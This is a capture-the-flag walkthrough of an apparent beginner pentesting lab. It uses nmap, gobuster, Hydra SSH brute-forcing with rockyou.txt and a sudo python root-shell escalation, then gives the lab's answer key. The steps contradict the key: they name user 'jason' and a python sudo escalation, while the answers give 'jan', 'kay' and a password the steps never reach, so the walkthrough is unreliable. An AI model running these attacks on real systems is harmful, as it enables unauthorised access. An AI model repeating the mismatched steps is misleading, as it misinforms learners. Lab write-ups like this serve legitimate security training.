Basic Pentesting Walkthrough

@Chris Noble

🔍 Step 1: Nmap Scan (Find Open Ports)

We start with an Nmap scan to discover open ports and services running on the target.

```
nmap -sC -sV -oN nmap.txt [Target-IP]
```

Findings:

- Port **22**: SSH
- Port **80**: HTTP (Apache web server)

So we have a web server and SSH to explore.

🌐 Step 2: Explore the Website

Navigating to the web server on port 80 showed a default Apache page — nothing useful.

Let's try discovering hidden directories using **Gobuster**:

```
gobuster dir -u http://[Target-IP] -w /usr/share/wordlists/dirb/common.txt
```

Result:

- Found `/development`

Inside `/development`, we found two text files:

- `dev.txt`: Mentions password reuse.
- `j.txt`: Mentions the name **Jason**.

🧪 Step 3: SSH Brute Force

Based on the hints, we try brute-forcing SSH for user **jason** using Hydra and the popular `rockyou.txt` wordlist.

```
hydra -l jason -P /usr/share/wordlists/rockyou.txt ssh://[Target-IP]
```

Eventually, we get valid credentials for Jason and log in via SSH:

```
ssh jason@[Target-IP]


🔐 Step 4: Privilege Escalation
```

Once inside as **jason**, we check what we can do as root:

```
sudo -l
```

We find that `jason` can run **python** as root without a password.

Use this to spawn a root shell:

```
sudo python -c 'import os; os.system("/bin/bash")'
```

Now we're root! ✅

🏁 Step 5: Capture the Flag

Read the root flag:

```
cat /root/root.txt

Flag captured. Mission complete! 🏆
```

Answer the questions below

Deploy the machine and connect to our network

No answer needed

Find the services exposed by the machine

No answer needed

What is the name of the hidden directory on the web server(enter name without /)?

development

User brute-forcing to find the username & password

No answer needed

What is the username?

jan

What is the password?

armando

What service do you use to access the server(answer in abbreviation in all caps)?

SSH

Enumerate the machine to find any vectors for privilege escalation

No answer needed

What is the name of the other user you found(all lower case)?

kay

If you have found another user, what can you do with this information?

No answer needed

What is the final password you obtain?

heresareallystrongpasswordthatfollowsthepasswordpolicy$$